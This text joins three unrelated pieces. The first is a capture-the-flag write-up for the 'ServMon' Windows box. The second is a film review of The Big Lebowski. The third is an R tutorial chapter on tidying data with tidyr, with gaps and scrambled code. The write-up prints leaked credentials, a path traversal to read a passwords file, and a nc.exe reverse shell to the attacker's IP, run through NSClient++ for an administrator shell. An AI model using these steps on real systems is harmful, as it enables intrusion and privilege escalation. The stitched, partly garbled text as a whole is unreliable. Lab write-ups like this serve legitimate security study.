|_01-18-20 12:05PM <DIR> Users
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
| 256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_ 256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp open http
| fingerprint-strings:
| GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Content-type: text/html
| Content-Length: 340
| Connection: close
| AuthInfo:
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
| <html xmlns="http://www.w3.org/1999/xhtml">
| <head>
| <title></title>
| <script type="text/javascript">
| window.location.href = "Pages/login.htm";
| </script>
| </head>
| <body>
| </body>
| </html>
| NULL:
| HTTP/1.1 408 Request Timeout
| Content-type: text/html
| Content-Length: 0
| Connection: close
|_ AuthInfo:
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
6699/tcp open tcpwrapped
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest:
| HTTP/1.1 302
| Content-Length: 0
|_ Location: /index.html
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=
First of all the one port I will look is ftp because I have anonymous access allowed.
There is a directory named Users and inside that there are two directories Nadine
and Nathan
containing two files named Confidential.txt
and Notes to do.txt
respectively. It is a good thing at this time to keep notes about these two usernames.
The content of Confidential.txt
:
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
I keep in back of my mind that there is file named Passwords.txt in Nathan Desktop folder.
And Notes to do.txt
:
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
There are some incompleted todo’s such as remove public access to NVMS. Remember port 80? Let’s take a look into that.
So this validates the 4th todo. I try to login by using admin
as username and password but nothing. At this point because I don’t have a password, I try to search about vulnerabilites.
I open burp, navigate to <IP_ADDRESS> intercept the request and then send it to repeater(ctrl+r).
And indeed this works. Now If you remember from Confidential.txt
there is a file with passwords. I get that file.
After trying each of this password with ssh password L1k3B1gBut7s@W0rk
worked.
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.
nadine@SERVMON C:\Users\Nadine>
We can get user flag now.
After searching the box for hints about root, I find nothing. Going back to nmap we can see a port open 84433
wiht ssl cert. Visiting the site brings up a NSClient++
.
Searching with searchsploit turns out there is a privilege escalation.
First we need to get the password of the client from file c:\program files\nsclient++\nsclient.ini
; Undocumented key
password = ew2x6SsGTxjRwXOT
But the password does not work. Giving us a 403.
Going back to the nsclient.ini
file I see there is present a configuration which does not allow connections from
; Undocumented key
allowed hosts = <IP_ADDRESS>
Because I am using ssh I can create a local tunnel from my host to nsclient locally and then access it. By doing this I use a trick to access something like a hidden menu on ssh, and then execute
-L 8443:<IP_ADDRESS>:8443
. And then go to my browser and access the website with https://localhost:8443
I now create a .bat script
@echo off
C:\Temp\nc.exe <IP_ADDRESS> 9854 -e powershell
and upload it alongside nc.exe inside C:\Temp\
and setup listener on our local box
Next step is to enable two modules:
After I create a externalscript, with these key and value.(replace fuxsocy.bat with your .bat filename)
Next I setup to run it every minute.
and specify the command, which in our case is rce, which is the name of the external script which will execute the command.
Then I save the Changes under the Changes
button and Under Control
button I reset the service. I wait for 1-2 minutes and get a shell as administrator.


BIG LEBOWSKI,THE (director:Joel Coen; screenwriters: Joel & Ethan Coen; cinematographer: Roger Deakins; cast: Jeff Bridges (The Dude), John Goodman (Walter Sobchak ), Julianne Moore (Maude Lebowski), Peter Stormare (Nihilist), Philip Seymour Hoffman (Brandt), David Huddleston (The Big Lebowski), Steve Buscemi (Donny), Sam Elliott (The Stranger), John Turturro (Jesus Quintana), Tara Reid (Bunny Lebowski), 1997)
Reviewed by Dennis Schwartz
This is a man's film, for the kind of a man who is lost in his sense of being a man and lost in the nostalgia of the '70s drug scene. The women all have minor parts and are viewed as sex objects or conniving harlots. It's the 1990s and we're in layed back L.A. and there's a character called Lebowski (Bridges), who likes to be called "The Dude." His two other bowling pals, Walter (Goodman) and Donny (Buscemi), like him, are dysfunctional. The plot unfolds into a series of mistaken identity scenes and over-the-top comedy, by mistaking "The Dude" for another Lebowski, a wealthy cripple, the story takes on the weird humor of the Coen Brothers, as they build a case for this likable California bum to get satisfaction over his pride being hurt. He plays out a very funny fantasy role, spoofing the Raymond Chandler private detective type of stories in the Hollywood of the '40s.
 So he goes to the rich Lebowski (David Huddleston) and asks payment for his rug's damage, using the logic that it is this guy's fault why it happened, even if he didn't do it; after all, he does have the same last name and this mistake wouldn't have happened if that was not the case. So you see the direction this film is going, it is cartoonish in characterization, with ridiculous dialogue, plenty of zany characters, and no discernible plot. Stars make cameo appearances and do their shticks, even if it adds nothing to the plot. The John Turturro one, where he plays the flaming Mexican queen, is particularly funny.  But since "The Dude" is just being set-up, it really doesn't matter that he is not qualified for the job, even if he does take this job to be a serious one, and his dim observations of things are humorously abetted by his friends even dimmer observation of things, which makes things really seem absurd.
The comedy here is sometimes so sharp, that you could roll in the aisle with laughter and not seem any odder than the characters you see onscreen. The John Goodman character, of the hot-tempered, ex-soldier, and adage prone advisor to "The Dude," is hysterically funny. In one bit, he tells one of his bowling opponents, " this is not 'Nam, this is bowling. There are rules." Everything about John Goodman's character will apply to his tour of duty there, whether or not it is relevant to the situation.
It is not as good a film overall as Fargo, but it is funny enough to be a minor work in the Coen brothers continuing attack on our sitcom culture. It also added a nice touch by having Sam Eliott, with his rich melodic voice, garbed as a cowboy, do the voice-over, adding touches of inane wisdom; such as, his saying in mock seriousness, "sometimes you get the bear, sometimes the bear gets you." This only adds more absurdity, to a story that was already bizarre to begin with.
REVIEWED ON 7/20/98 GRADE: B
Dennis Schwartz: "Ozus' World Movie Reviews"
http://www.sover.net/~ozus
<EMAIL_ADDRESS>© ALL RIGHTS RESERVED DENNIS SCHWARTZ
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Chapter 4 Data Wrangling
Data wrangling is the process of cleaning data, so that data become ready for further manipulation such as visualization and modeling. Sometimes, data wrangling is also called Data Munging
. More specifically, data wrangling involves transforming and mapping data from one from to another form - particularly from raw form to tidy form.
There is an old saying that 90% of data science involves data wrangling. In many cases, data wrangling is difficult as it involves dealing with missing entries, ambiguous values, and different types of mixed data. In data analytics ecosystem in R
, data wrangling involves three jobs - importing data into R
, cleaning (tidying) the data, and transforming the data. Please see Figure 4.1 to learn about the data wrangling process.
The first job - importing data into R
- is discussed in chapter 03. In this chapter, cleaning (tidying) the data in R
will be discussed. The last job will be discussed in next chapter - Exploratory Data Analysis (EDA).
4.1 tidy
data
Data wrangling or data munging results in tidy
data - which is storing data that makes further manipulation on data such as transformation, visualization, and modeling easier. The following rules make a dataset tidy
-
- Each variable must have its own column
- Each observation must have its own row
- Each value must have its own cell
4.2 Same Data, but Different Formats (Presentations)
4.3 Tidying Messy Data
According to Hadley Wickham, “Tidy datasets are all alike, but every messy dataset is messy in its own way” (Wickham and Grolemund 2017). Messy data can be in many forms; for example - Wickham (2014) mentions the five most common problems with messy datasets. These problems include -
- Column headers are values, not variable names
- Multiple variables are stored in one column
- Variables are stored in both rows and columns
- Multiple types of observational units are stored in the same table
- A single observational unit is stored in multiple tables
4.3.1 Column Hearders are Values, not Variable Names
The following dataset (total_assets
) is an example of this case, in which the name of the variables (columns) are numbers. Though in some cases, this data format might be useful, in many cases usually it is not useful.
total_assets
## # A tibble: 5 x 7
## TICKER COMPANYNAME `2000` `2001` `2002` `2003` `2004`
## <chr> <chr> <dbl> <dbl> <dbl> <dbl> <dbl>
## 1 AAPL APPLE INC 6803 6021 6298 6815 8.05e3
## 2 WMT WALMART INC 70349 78130 83451 94685 1.05e5
## 3 AABA ALTABA INC 2270. 2379. 2790. 5932. 9.18e3
## 4 AMZN AMAZON.COM~ 2135. 1638. 1990. 2162. 3.25e3
## 5 GOOGL ALPHABET I~ NA NA 287. 871. 3.31e3
4.3.2 Multiple Variables are Stored in One Column
The netincome_asset
dataset is a good example of this kind of dataset. For example, the variable VALUES
includes net income
and total assets
separated by /
. This variable is very hard to manipulate. For example, if we want to calculate Return on Assets (ROA)
, which equals to net income divided by total assets, then it is not possible to use VALUES
column to calculate ROA
.
netincome_asset
## # A tibble: 23 x 4
## year TICKER COMPANYNAME VALUES
## <dbl> <chr> <chr> <chr>
## 1 2000 AAPL APPLE INC 786/6803
## 2 2001 AAPL APPLE INC -25/6021
## 3 2002 AAPL APPLE INC 65/6298
## 4 2003 AAPL APPLE INC 69/6815
## 5 2004 AAPL APPLE INC 276/8050
## 6 2000 WMT WALMART INC 5377/70349
## 7 2001 WMT WALMART INC 6295/78130
## 8 2002 WMT WALMART INC 6671/83451
## 9 2003 WMT WALMART INC 8039/94685
## 10 2004 WMT WALMART INC 9054/104912
## # ... with 13 more rows
4.3.3 Variables are Stored in Both Rows and Columns
The sales_profit
dataset is an example of this type. Here in the ITEM
column, actually variables are included (such as SALES
and NETINCOME
). Also, the columns such as 2000
through 2004
should be a variable (e.g., year
).
sales_profit
## # A tibble: 10 x 8
## TICKER COMPANYNAME ITEM `2000` `2001` `2002`
## <chr> <chr> <chr> <dbl> <dbl> <dbl>
## 1 AAPL APPLE INC SALES 7.98e3 5.36e3 5.74e3
## 2 AAPL APPLE INC NETI~ 7.86e2 -2.50e1 6.50e1
## 3 WMT WALMART INC SALES 1.66e5 1.92e5 2.19e5
## 4 WMT WALMART INC NETI~ 5.38e3 6.30e3 6.67e3
## 5 AABA ALTABA INC SALES 1.11e3 7.17e2 9.53e2
## 6 AABA ALTABA INC NETI~ 7.08e1 -9.28e1 4.28e1
## 7 AMZN AMAZON.COM~ SALES 2.76e3 3.12e3 3.93e3
## 8 AMZN AMAZON.COM~ NETI~ -1.41e3 -5.67e2 -1.49e2
## 9 GOOGL ALPHABET I~ SALES NA NA 4.40e2
## 10 GOOGL ALPHABET I~ NETI~ NA NA 9.97e1
## # ... with 2 more variables: `2003` <dbl>,
## # `2004` <dbl>
4.3.4 Multiple Types of Observational Units are Stored in the Same Table
4.3.5
4.4 tidyr
Package for tidy
Data
The tidyr
package is widley used to tidy
data in R
. Specifically, pivot_longer
, pivot_wider
, separate
, and extract
functions are widely used to make a messy data into tidy
.
4.4.1 pivot_longer ()
function
If the total_assets
dataset above (Column headers are values, not variable names) is made tidy
using pivot_longer
function, then it will be look like this (Assuming the name of the dataset is variable_number) -
# using pivot_longer () function
%>%
total_assets pivot_longer(cols = -c("TICKER", "COMPANYNAME"),
names_to = "year",
values_to = "TOTALASSETS"
%>%
) head()
## # A tibble: 6 x 4
## TICKER COMPANYNAME year TOTALASSETS
## <chr> <chr> <chr> <dbl>
## 1 AAPL APPLE INC 2000 6803
## 2 AAPL APPLE INC 2001 6021
## 3 AAPL APPLE INC 2002 6298
## 4 AAPL APPLE INC 2003 6815
## 5 AAPL APPLE INC 2004 8050
## 6 WMT WALMART INC 2000 70349
There are several arguments of pivot_longer
function. Here three arguments are used. The cols
argument specifies which columns should (not) be used in pivot_longer
function. In this case, we select the variables that should not be used while using pivot_longer
function. The second argument names_to
specifies the name of the variable in which existing column values will be stored and finally values_to
specifies the name of the column in which the cell values will be stored. Now, the dataset is a tidy
dataset.
4.4.2 pivot_wider ()
function
The sales_profit
dataset can be put into tidy
format using both pivot_longer
and pivot_wider
function.
%>%
sales_profit pivot_longer(
cols = !c ("TICKER", "COMPANYNAME", "ITEM"),
names_to = "year",
values_to = "AMOUNT"
%>%
) pivot_wider(
names_from = ITEM,
values_from = AMOUNT
)
## # A tibble: 25 x 5
## TICKER COMPANYNAME year SALES NETINCOME
## <chr> <chr> <chr> <dbl> <dbl>
## 1 AAPL APPLE INC 2000 7983 786
## 2 AAPL APPLE INC 2001 5363 -25
## 3 AAPL APPLE INC 2002 5742 65
## 4 AAPL APPLE INC 2003 6207 69
## 5 AAPL APPLE INC 2004 8279 276
## 6 WMT WALMART INC 2000<PHONE_NUMBER>
## 7 WMT WALMART INC 2001<PHONE_NUMBER>
## 8 WMT WALMART INC 2002<PHONE_NUMBER>
## 9 WMT WALMART INC 2003<PHONE_NUMBER>
## 10 WMT WALMART INC 2004<PHONE_NUMBER>
## # ... with 15 more rows
4.4.3 separate ()
function
The separate
function can be used when multiple variables are stored in one column. The function separates one column into multiple columns. For example, in netincome_asset
data, the column VALUES
should be converted into two columns called NETINCOME
and TOTALASSETS
. In separate
function, col
argument is ued to select the column that needs to be broken; into
argument is used to create new columns; and sep
argument is ued to identify the character in which the column will be separated. In this case, it is /
. Finally remove
argument is used to decide whether the column (here VALUES
) that is separated should be in new dataset.
%>%
netincome_asset separate(
col = VALUES, into = c ("NETINCMOE", "TOTALASSETS"), sep ="/",
remove =TRUE
)
## # A tibble: 23 x 5
## year TICKER COMPANYNAME NETINCMOE TOTALASSETS
## <dbl> <chr> <chr> <chr> <chr>
## 1 2000 AAPL APPLE INC 786 6803
## 2 2001 AAPL APPLE INC -25 6021
## 3 2002 AAPL APPLE INC 65 6298
## 4 2003 AAPL APPLE INC 69 6815
## 5 2004 AAPL APPLE INC 276 8050
## 6 2000 WMT WALMART INC 5377 70349
## 7 2001 WMT WALMART INC 6295 78130
## 8 2002 WMT WALMART INC 6671 83451
## 9 2003 WMT WALMART INC 8039 94685
## 10 2004 WMT WALMART INC 9054 104912
## # ... with 13 more rows
It is clear from the above dataset that the type of columns NETINCOME
and TOTALASSETS
are chr
, but they should be number (e.g., dbl
). Actually, separate
functions maintain the type of the columns that are separated. The type of VALUES
column was chr
and it is maintained in new dataset. In order to get the true type, we can use convert
argument, which is done below.
%>%
netincome_asset separate(
col = VALUES, into = c ("NETINCMOE", "TOTALASSETS"), sep ="/",
remove =TRUE,convert = TRUE
)
## # A tibble: 23 x 5
## year TICKER COMPANYNAME NETINCMOE TOTALASSETS
## <dbl> <chr> <chr> <dbl> <dbl>
## 1 2000 AAPL APPLE INC 786 6803
## 2 2001 AAPL APPLE INC -25 6021
## 3 2002 AAPL APPLE INC 65 6298
## 4 2003 AAPL APPLE INC 69 6815
## 5 2004 AAPL APPLE INC 276 8050
## 6 2000 WMT WALMART INC 5377 70349
## 7 2001 WMT WALMART INC 6295 78130
## 8 2002 WMT WALMART INC 6671 83451
## 9 2003 WMT WALMART INC 8039 94685
## 10 2004 WMT WALMART INC 9054 104912
## # ... with 13 more rows
4.4.4 extract ()
function
This is a very good source to discuss about data wrangling - https://dsapps-2020.github.io/Class_Slides/
This is the best data wrangling website - https://dcl-wrangle.stanford.edu/
The above link is also best about why EXCEL
is not be best for Accounting & Audit Analytics.